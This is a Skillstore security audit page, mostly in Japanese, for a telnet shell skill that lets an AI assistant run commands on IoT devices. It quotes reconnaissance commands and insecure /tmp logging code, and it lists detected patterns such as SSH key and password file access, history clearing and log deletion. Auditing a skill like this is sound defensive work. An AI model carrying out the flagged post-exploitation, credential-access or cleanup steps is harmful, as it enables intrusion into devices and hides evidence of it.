The command at SKILL.md:391 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/partitions
The command at SKILL.md:392 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Temp directory access
**ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.**
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:27. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- **Session logging**: All I/O logged to `/tmp/telnet_session.log` for observation
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:39. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:88. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:92. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:116. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/telnet_session.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:147. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile /tmp/telnet_session.
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- **Logging**: `/tmp/telnet_session.log` by default
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:184. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
1. **Always log your session**: Default logfile is `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:463. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/camera_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:518. Logs can contain commands, responses, credentials, and sensitive target data.
高
Process spawn
self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8')
The helper spawns the local Telnet client for a user-selected host and then sends arbitrary remote shell commands. This is the skill's active execution boundary.
高
Temp directory access
parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log',
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:396. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
help='Log all I/O to file (default: /tmp/telnet_session.log)')
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:397. Logs can contain commands, responses, credentials, and sensitive target data.
高
Python file write/append
self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered
The helper appends sensitive session traffic to a caller-selected path without secure creation or permission enforcement. Privileged use permits symlink and file-target abuse.
リスク要因
📁 ファイルシステムへのアクセス (50)
enum_files.txt:41 enum_files.txt:42 enum_files.txt:41 enum_files.txt:42 enum_network.txt:6 enum_network.txt:10 enum_network.txt:22 enum_network.txt:26 enum_network.txt:33 enum_security.txt:20 enum_security.txt:23 enum_security.txt:26 enum_security.txt:29 enum_security.txt:32 enum_security.txt:35 enum_security.txt:38 enum_security.txt:39 enum_security.txt:40 enum_security.txt:41 enum_security.txt:44 enum_security.txt:45 enum_security.txt:54 enum_system.txt:6 enum_system.txt:10 enum_system.txt:11 enum_system.txt:16 enum_system.txt:28 enum_system.txt:32 enum_system.txt:36 enum_system.txt:37 enum_system.txt:40 examples.md:261 examples.md:262 examples.md:263 examples.md:264 examples.md:265 examples.md:50 examples.md:126 examples.md:211 examples.md:429 examples.md:430 examples.md:166 examples.md:174 examples.md:175 examples.md:176 examples.md:177 examples.md:178 examples.md:179 examples.md:197 examples.md:352
⚙️ 外部コマンド (50)
enum_security.txt:53 examples.md:120 examples.md:307 examples.md:340 examples.md:358 examples.md:404 examples.md:438 examples.md:111 examples.md:274 examples.md:399 OBSERVING_SESSIONS.md:182 OBSERVING_SESSIONS.md:222 OBSERVING_SESSIONS.md:270 SKILL.md:12 SKILL.md:13 SKILL.md:18 SKILL.md:22 SKILL.md:25-28 SKILL.md:28-39 SKILL.md:39-46 SKILL.md:46-48 SKILL.md:48-51 SKILL.md:51-53 SKILL.md:53-56 SKILL.md:56-58 SKILL.md:58-61 SKILL.md:61-63 SKILL.md:63-66 SKILL.md:66-70 SKILL.md:70-73 SKILL.md:73-75 SKILL.md:75-78 SKILL.md:78-80 SKILL.md:80-83 SKILL.md:83-93 SKILL.md:93-95 SKILL.md:95-101 SKILL.md:101-118 SKILL.md:118-124 SKILL.md:124-136 SKILL.md:136-142 SKILL.md:142-173 SKILL.md:173-175 SKILL.md:175 SKILL.md:182-183 SKILL.md:183-184 SKILL.md:184-197 SKILL.md:197-208 SKILL.md:208-217 SKILL.md:217-228
🌐 ネットワークアクセス (50)
examples.md:244 examples.md:25 examples.md:38 examples.md:56 examples.md:69 examples.md:151 examples.md:163 examples.md:183 examples.md:194 examples.md:209 examples.md:228 examples.md:231 examples.md:239 examples.md:244 examples.md:258 examples.md:279 examples.md:293 examples.md:305 examples.md:306 examples.md:311 examples.md:325 examples.md:349 examples.md:356 examples.md:371 examples.md:391 examples.md:466 examples.md:491 examples.md:502 examples.md:513 OBSERVING_SESSIONS.md:34 OBSERVING_SESSIONS.md:56 OBSERVING_SESSIONS.md:80 OBSERVING_SESSIONS.md:99 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:119 OBSERVING_SESSIONS.md:120 OBSERVING_SESSIONS.md:186 OBSERVING_SESSIONS.md:202 OBSERVING_SESSIONS.md:208 OBSERVING_SESSIONS.md:273 SKILL.md:244 SKILL.md:406 SKILL.md:537 SKILL.md:538 SKILL.md:47 SKILL.md:52 SKILL.md:57 SKILL.md:62 SKILL.md:69 SKILL.md:74
検出されたパターン
System reconnaissance×21Network reconnaissance×14SSH private key fileSystem password file access×9Sudoers file access×2SSH directory access×5Malware type keywords×4Shell history clearingLog file deletion
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-telnetshell/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-telnetshell.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
BrownFineSecurity. (2026). telnetshell security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9BibTeX形式の引用
@techreport{brownfinesecurity-brownfinesecurity-telnetshell-2026,
author = {BrownFineSecurity},
title = {telnetshell security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "telnetshell security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-telnetshell:audit:9"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
70
コミュニティ
78
仕様準拠
作成できるもの
認可済み IoT ラボ評価
既知の telnet シェルを持つラボデバイスを調査し、ベースラインとなるシステム、ネットワーク、ファイル情報を収集します。
BusyBox デバイスのトリアージ
組み込み Linux デバイスに対して再現可能なコマンドを実行し、ノイズの多いシェル出力をレビューしやすい形に正規化します。
Telnet 露出レビュー
承認済み監査中に、到達可能な telnet サービス、認証の挙動、デバイス構成を文書化します。
これらのプロンプトを試す
ラボデバイスに接続する
telnet シェルスキルを使用して、HOST の PORT にある私の認可済みラボデバイスに接続し、セッションログを記録しながら基本的な uname チェックを実行してください。
システム列挙を実行する
HOST の PORT に対して提供済みのシステム列挙スクリプトを使用し、セッションログを保存して、デバイス識別情報、カーネル、ストレージ、BusyBox の詳細を要約してください。
ネットワーク構成をレビューする
認可済みデバイスのネットワーク構成を telnet 経由で調査し、インターフェース、ルート、待ち受け中のサービス、ファイアウォールルールを報告してください。
高リスクコマンドを評価する
認証情報へのアクセス、永続化の作成、データ抽出、証拠削除を行うコマンドについて telnet シェルワークフローをレビューし、除外すべき手順を分類してください。
ベストプラクティス
- 自分が所有している、または明示的な書面によるテスト認可を得ているデバイスにのみ使用してください。
- セッションログには認証情報や機密性の高い構成が含まれる可能性があるため、保護してください。
- 通常の監査では、コマンドを非破壊的なインベントリ作成と検証タスクに限定してください。
回避
- 不明な公開 IP アドレスや第三者のデバイスに対して、このヘルパーを使用しないでください。
- このワークフローを通じて永続化、バックドア、SSH キーを追加しないでください。
- テスト後にログを削除したり、履歴を消去したり、活動を隠したりしないでください。
よくある質問
このスキルは何をしますか？
AI アシスタントが telnet でアクセス可能な IoT シェルに接続し、構造化されたコマンドベースの確認を実行できるようにします。
これはマーケットプレイスでの公開に安全ですか？
いいえ。監査されたバージョンには、ポストエクスプロイト、永続化、データ抽出、クリーンアップの手順が含まれています。
特別なソフトウェアは必要ですか？
はい。ローカルマシンに Python 3、pexpect、telnet クライアントが必要です。
BusyBox シェルで動作しますか？
はい。ヘルパーには、一般的な BusyBox ベースの IoT デバイス向けのプロンプトパターンと例が含まれています。
セッションデータは保存されますか？
はい。ヘルパーはデフォルトで telnet の入力と出力をローカルログファイルに記録します。
安全なリリースの前に何を削除すべきですか？
安全なリリースの前に、永続化、バックドア、認証情報の収集、ファームウェアのエクスポート、内部スキャン、証拠クリーンアップに関するガイダンスを削除してください。
開発者情報
ライセンス
MIT
Skillstore リビジョン
r2
バージョンに関する注意
作者はバージョンを宣言していません。
参照
a39a91716eadede5f4cdefd78178fed4e837a128
メンテナンスの新しさ
2026/7/24
利用状況
9 ダウンロード · 190 閲覧
ファイル構成
BrownFineSecurity のその他のスキル
すべて表示📦
apktool
38ApktoolでAndroid APKを解析
Android APKの解析では、apktool、マニフェスト、リソースの確認手順を何度も繰り返す必要がある場合があります。このスキルは、Claude、Codex、Claude Codeに対して、安全な展開、検査、再パッケージ化のワークフローを案内します。
セキュリティ＆コンプライアンス 表示
📦
jadx
38JadxでAndroid APKを解析
Android APKのセキュリティレビューは、バイトコードやリソースを検査しにくい場合に時間がかかります。このスキルは、認可された評価のためにjadxによるデコンパイルと重点的なソースレビューをガイドします。
セキュリティ＆コンプライアンス 表示
📦
ffind
38ファームウェアのファイルタイプを解析
ファームウェアイメージには、手作業では調査しにくいファイルシステムやセキュリティアーティファクトが隠れていることがよくあります。このスキルは、ファイルタイプを特定し、管理された抽出を計画するための ffind 解析をガイドします。
セキュリティ＆コンプライアンス 表示
📦
chipsec
38CHIPSECでUEFIファームウェアを解析
ファームウェアダンプは、再現可能なツールなしではレビューが困難です。このスキルは、脅威チェック、インベントリ作成、構造デコード、レポート作成のためのオフラインCHIPSECワークフローを案内します。
セキュリティ＆コンプライアンス 表示
📦
nmap
38認可済みの Nmap 偵察を実行
手動のネットワークスキャンではポートを見落としたり、証跡が整理されないことがあります。このスキルは、認可済みの Nmap スキャン、出力の整理、サービス概要の作成を支援します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
senior-security
81アプリケーションセキュリティレビューを強化する
作成者 alirezarezvani
セキュリティレビューでは、一貫したチェックリストや再利用可能なワークフローが不足しがちです。このスキルは、Claude、Codex、Claude Code 向けに、セキュリティレビューのひな形、参照ガイダンス、シンプルなレポート作成スクリプトを提供します。
セキュリティ＆コンプライアンス 表示
📦
web-security-testing
80OWASP Web セキュリティテストを実施
作成者 sickn33
Webチームには、リリース前に一般的なアプリケーションリスクを確認するための再現可能な方法が必要です。このスキルは、OWASPテストをフェーズ、プロンプト、レポート作成手順に整理します。
セキュリティ＆コンプライアンス 表示
📦
security-report
78セキュリティ評価レポートを生成
作成者 BytR-Ecosystems
セキュリティ上の発見事項を経営層や技術チームに明確に提示するのは難しいものです。このスキルは、リスク評価と修復ガイダンスを含む構造化されたDOCXレポートを作成します。
セキュリティ＆コンプライアンス 表示
📦
security-audit
76Audit Codebases for Security Vulnerabilities
作成者 cloudflare
Security reviews often miss trust-boundary failures or produce weak evidence. This skill structures reconnaissance, isolated validation, independent verification, and actionable reporting.
セキュリティ＆コンプライアンス 表示
📦
idor-testing
50IDOR アクセス制御をテストする
作成者 sickn33
IDOR の欠陥は、オブジェクト参照に所有者確認がない場合にプライベートなレコードを露出させます。このスキルは、承認済みのテスターに対して、発見、検証、報告、修復計画をガイドします。
セキュリティ＆コンプライアンス 表示
📦
sqlmap-database-pentesting
38sqlmapでSQLインジェクションを監査する
作成者 sickn33
SQLインジェクションテストには、慎重なスコープ設定、再現可能な確認、明確なレポート作成が必要です。このスキルは、許可を得たテスターに対して、検出から証拠レビューまでの体系的なsqlmapワークフローを提供します。
セキュリティ＆コンプライアンス 表示